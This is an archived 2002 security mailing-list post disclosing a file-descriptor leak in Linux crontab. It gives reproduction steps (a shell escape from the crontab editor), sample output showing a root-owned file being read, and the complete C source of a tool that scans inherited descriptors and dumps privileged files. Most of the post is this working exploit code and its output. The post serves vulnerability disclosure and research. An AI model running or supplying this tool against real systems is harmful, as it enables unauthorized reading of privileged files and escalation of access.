Re: trusting user-supplied data (was Re: FreeBSD Security Advisory FreeBSD-SA-02:23.stdio)

From: Paul Starzetz (paulat_private)
Date: Thu May 02 2002 - 10:35:02 PDT

  • Next message: KJK::Hyperion: "Re: Logitech Keyboard Insecurity"

    Steven M. Bellovin wrote:
    
    >>The list includes, but is not limited to:
    >>
    >>   command-line array
    >>   environment array
    >>   open files
    >>    
    >>
    I don't think there was enough research on open file descriptor 
    problems. For example, I found this small bug while playing yround with 
    crontab on Linux:
    
    gcc cronread.c -o cronread
    
    export VISUAL=/bin/vi
    crontab -e
    
    <:sh> escape to shell
    
    ./cronread
    
    0000 iz OPEN    st_uid 24129    st_gid 5        PATH /dev/pts/15/fd/0   
    dump (y/n) n
    
    0001 iz OPEN    st_uid 24129    st_gid 5        PATH /dev/pts/15/fd/1   
    dump (y/n) n
    
    0002 iz OPEN    st_uid 24129    st_gid 5        PATH /dev/pts/15/fd/2   
    dump (y/n) n
    
    0003 iz OPEN    st_uid 0        st_gid 0        PATH 
    /var/spool/cron/deny       dump (y/n) y
    
    --- DUMPING /var/spool/cron/deny ---
    
    guest
    gast
    
    
    ---
    0005 iz OPEN
    0006 iz OPEN
    
    
    ls -l /var/spool/cron/deny
    -rw-------    1 root     root           11 Oct 25  2001 /var/spool/cron/deny
    
    
    So I'm able to read a privileged system file using this technique :-> 
    Not necessary to mention the consequences of inheriting such a fd open 
    for writing. More effort must be put to investigate this problem in 
    current Linux/Unix suid/setgid binaries.
    
    have fun with the attached source.
    
    /ih
    
    
    
    /****************************************************************
    *								*
    *	insecure FD seeker					*
    *	by IhaQueR '2002					*
    *								*
    ****************************************************************/
    
    
    
    
    
    #include <stdio.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <linux/limits.h>
    
    
    
    #define TMPLEN 1024
    
    
    
    void dumpfd(int fd, char *name)
    {
    int r;
    char c=13;
    
    
    	r = lseek(fd, 0, SEEK_SET);
    	if(r == (off_t)-1) {
    		perror("lseek");
    		return;
    	}
    	printf("\n--- DUMPING %s ---\n\n", name);
    	do {
    		r = read(fd, &c, sizeof(c));
    		if(r>0) {
    			printf("%c", c);
    		}
    	} while(r>0);
    	printf("\n\n---");
    	fflush(stdout);
    }
    
    
    int main()
    {
    int i, r, f;
    uid_t uid;
    gid_t gid;
    struct stat st;
    char buf[TMPLEN];
    
    
    	uid = getuid();
    	gid = getgid();
    
    	for(i=0; i<NR_OPEN; i++) {
    		r = fstat(i, &st);
    		if(!r) {
    			printf("\n%.4d iz OPEN", i);
    			if(st.st_uid != uid || st.st_gid != gid) {
    				printf("\tst_uid %d\tst_gid %d", st.st_uid, st.st_gid);
    				snprintf(buf, sizeof(buf)-1, "/proc/%d/fd/%d", getpid(), i);
    				buf[sizeof(buf)-1] = 0;
    				readlink(buf, buf, sizeof(buf)-1);
    				buf[sizeof(buf)-1] = 0;
    				printf("\tPATH %s ", buf);
    				printf("\tdump (y/n) ");
    				r = getchar();
    				if(r == 'y')
    					dumpfd(i, buf);
    				getchar();
    			}
    		}
    	}
    	printf("\n\n");
    	fflush(stdout);
    
    return 0;
    }
    



    This archive was generated by hypermail 2b30 : Fri May 03 2002 - 22:06:59 PDT